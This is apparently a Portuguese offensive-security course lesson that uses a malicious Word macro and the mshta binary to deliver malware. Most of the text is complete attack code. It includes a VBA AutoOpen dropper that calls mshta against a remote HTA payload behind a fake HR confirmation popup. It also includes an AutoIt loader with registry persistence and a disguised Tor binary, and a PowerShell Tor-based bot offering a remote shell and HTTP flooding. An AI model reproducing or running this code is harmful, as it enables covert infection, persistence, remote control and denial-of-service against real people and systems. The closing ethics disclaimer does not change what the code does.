Aula 133 | Documento com mshta

Aula 133 | Documento com mshta

Dando continuidade ao estudo sobre o uso de binários legítimos como vetor de ataque, esta etapa aprofunda a exploração do mshta.exe (Aula 132), agora integrado ao ambiente do Microsoft Word através de código VBA. 

A execução remota por meio de documentos .docm foi implementada utilizando VBA como ponto de entrada, ativado automaticamente pela sub-rotina AutoOpen.

Sub AutoOpen()

O código aproveita a função Environ("TEMP") para identificar o diretório temporário do usuário e, a partir disso, gera dinamicamente um arquivo update.vbs contendo o payload de execução.

 path = Environ("TEMP") & "\update.vbs"

Esse arquivo é criado com o FileSystemObject, o que permite gravar diretamente no disco o script malicioso que será responsável por invocar o binário legítimo mshta.exe.

 Set fso = CreateObject("Scripting.FileSystemObject")

A linha de execução chama o mshta com uma URL remota hospedando um payload HTA, encapsulando comandos HTML/VBScript.

vbs.WriteLine "CreateObject(""WScript.Shell"").Run ""mshta http://x.x.x.x.com/rede/teste.html"", 0, False"

Esse vetor combina a flexibilidade da execução HTML com a confiança do binário do sistema (mshta.exe), que raramente é bloqueado por soluções tradicionais de segurança. Com o script salvo e pronto, a execução é feita silenciosamente via WScript.Shell, com os parâmetros 0 (janela invisível) e False (execução assíncrona), permitindo que o processo continue em segundo plano sem alertar o usuário.

Para reforçar a engenharia social e manter a aparência legítima do documento, uma mensagem MsgBox é exibida logo após a execução do payload, simulando uma confirmação institucional, como se o usuário tivesse interagido com um sistema de atualização de cadastro corporativo.

MsgBox "Validação de dados concluída com sucesso." & vbCrLf & vbCrLf & _
           "Obrigado por atualizar seu cadastro no Sistema de Benefícios Corporativos.", _
           vbInformation + vbOKOnly, "Sistema RH-ERP v2.3"
End Sub

A escolha de um título como "Sistema RH-ERP v2.3" e o uso de ícones padrão do Windows (via vbInformation) aumentam o grau de credibilidade do engano.

Esse modelo reforça a capacidade do VBA de operar como dropper em múltiplas etapas, entregando scripts adicionais, manipulando o sistema de arquivos, e orquestrando execuções indiretas por meio de binários confiáveis. A camada visual de falsificação e o uso de extensões ocultas ampliam o potencial de sucesso em ataques baseados em documentos, especialmente em contextos onde o controle de macros ainda depende da decisão do usuário final.

Código VBA:

Sub AutoOpen()
    On Error Resume Next
    Dim fso, vbs, temp, path
    path = Environ("TEMP") & "\update.vbs"
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set vbs = fso.CreateTextFile(path, True)
    vbs.WriteLine "CreateObject(""WScript.Shell"").Run ""mshta http://x.x.x.x.com/rede/teste.html"", 0, False"
    vbs.Close
    CreateObject("WScript.Shell").Run path, 0, False

    ' POPUP FAKE DE CONFIRMAÇÃO
    MsgBox "Validação de dados concluída com sucesso." & vbCrLf & vbCrLf & _
           "Obrigado por atualizar seu cadastro no Sistema de Benefícios Corporativos.", _
           vbInformation + vbOKOnly, "Sistema RH-ERP v2.3"
End Sub

Código corelog.au3:

#NoTrayIcon

Global Const $dir = "C:\ProgramData\NetHelperSvc"
DirCreate($dir)

; Autocópia com nome alternado
If Not FileExists($dir & "\corelog.exe") Then
    FileCopy(@ScriptFullPath, $dir & "\corelog.exe", 1)
    Sleep(300)
    Run('"' & $dir & '\corelog.exe"', "", @SW_HIDE)
    Exit
EndIf

; Cria persistência no registro
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "WindowsLogSync", "REG_SZ", '"' & $dir & '\corelog.exe"')

; Embute arquivos Tor
FileInstall("svhost32.exe", $dir & "\svhost32.exe", 1)
FileInstall("geoip", $dir & "\geoip", 1)
FileInstall("geoip6", $dir & "\geoip6", 1)

; Executa Tor
Sleep(Random(3000, 6000, 1))
Run(@ComSpec & ' /c "' & $dir & '\svhost32.exe"', "", @SW_HIDE)

; Aguarda o Tor inicializar
Sleep(Random(8000, 12000, 1))

; Payload PowerShell embutido em memória
Local $cfgData = _
"base64"

; Executa o payload em memória via PowerShell
Local $cmd = 'powershell -w hidden -c "$d=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(''' & $cfgData & '''));. ([ScriptBlock]::Create($d))"'
Run(@ComSpec & " /c " & $cmd, "", @SW_HIDE)

Exit

Código powershell:

function Start-Bot {
    try {
        $torProxy = "127.0.0.1"
        $torPort = 9050
        $onionHost = "domínio.onion"
        $onionPort = 4444

        Start-Sleep -Seconds 3

        $client = New-Object System.Net.Sockets.TcpClient
        $client.Connect($torProxy, $torPort)
        $stream = $client.GetStream()

        # SOCKS5 handshake
        $stream.Write([byte[]](0x05, 0x01, 0x00), 0, 3)
        $buffer = New-Object Byte[] 2
        $stream.Read($buffer, 0, 2) | Out-Null
        if ($buffer[1] -ne 0x00) { $stream.Close(); return }

        # Recria a forma antiga da requisição SOCKS5 corretamente
        $hostBytes = [System.Text.Encoding]::ASCII.GetBytes($onionHost)
        $portHigh = [math]::Floor($onionPort / 256)
        $portLow = $onionPort % 256
        $portBytes = [byte[]]($portHigh, $portLow)

        $request = New-Object byte[] (5 + $hostBytes.Length + 2)
        $request[0] = 0x05
        $request[1] = 0x01
        $request[2] = 0x00
        $request[3] = 0x03
        $request[4] = $hostBytes.Length
        [Array]::Copy($hostBytes, 0, $request, 5, $hostBytes.Length)
        [Array]::Copy($portBytes, 0, $request, 5 + $hostBytes.Length, 2)

        $stream.Write($request, 0, $request.Length)
        $response = New-Object Byte[] 10
        $stream.Read($response, 0, 10) | Out-Null
        if ($response[1] -ne 0x00) { $stream.Close(); return }

        # Comunicação
        $writer = New-Object System.IO.StreamWriter($stream)
        $reader = New-Object System.IO.StreamReader($stream)
        $writer.AutoFlush = $true

        while ($true) {
            try {
                $command = $reader.ReadLine()
                if ([string]::IsNullOrWhiteSpace($command)) { break }

                if ($command -like "http *") {
                    Start-Job {
                        param($url)
                        while ($true) {
                            try {
                                Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 2 | Out-Null
                            } catch {}
                            Start-Sleep -Milliseconds 100
                        }
                    } -ArgumentList $command.Substring(5)
                    $writer.WriteLine("Flood iniciado: $command")
                }
                elseif ($command -eq "parar ataque") {
                    Get-Job | Stop-Job -Force
                    Get-Job | Remove-Job -Force
                    $writer.WriteLine("Flood parado.")
                }
                else {
                    $sb = [ScriptBlock]::Create($command)
                    $result = & $sb 2>&1 | Out-String
                    $writer.WriteLine($result.Trim() + "`nPS " + (Get-Location) + "> ")
                }
            } catch {
                $writer.WriteLine("Erro de execução: $_")
            }
        }

        $writer.Close()
        $reader.Close()
        $stream.Close()
        $client.Close()
    } catch {}
}

while ($true) {
    Start-Bot
    Start-Sleep -Seconds 5
}

Código para criptografar:

[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((Get-Content -Raw -Path ".\powershell.ps1"))) > encoded.txt

Código para ajuste na criptografia:

def dividir_base64_para_autoit(base64_str, tamanho_linha=200):
    linhas = [base64_str[i:i + tamanho_linha] for i in range(0, len(base64_str), tamanho_linha)]
    autoit_payload = 'Local $payload = _\n'
    for i, linha in enumerate(linhas):
        if i < len(linhas) - 1:
            autoit_payload += f'"{linha}" & _\n'
        else:
            autoit_payload += f'"{linha}"\n'
    return autoit_payload

base64_bruto = """base64-payload"""
resultado = dividir_base64_para_autoit(base64_bruto)
print(resultado)

with open("payload_autoit.txt", "w", encoding="utf-8") as f:
    f.write(resultado)

⚠️ Nota sobre Ética e Responsabilidade

Todo o conteúdo apresentado nesta aula tem finalidade exclusivamente educacional. O ambiente foi criado em um laboratório isolado e seguro, sem afetar redes, sistemas ou terceiros. A prática de técnicas ofensivas sem autorização explícita é ilegal e antiética.

Este curso tem como objetivo capacitar profissionais a entender e defender sistemas reais, reconhecendo táticas de adversários e desenvolvendo a capacidade de mitigar ameaças avançadas. A ética deve ser sempre o pilar central da atuação em segurança da informação.

Sugestões de Aulas

Aula 99 | Protocolo IRC

Ver Aula

Aula 132 | Vetor de Ataque mshta

Ver Aula

Aula 5 | Projeto OWASP

Ver Aula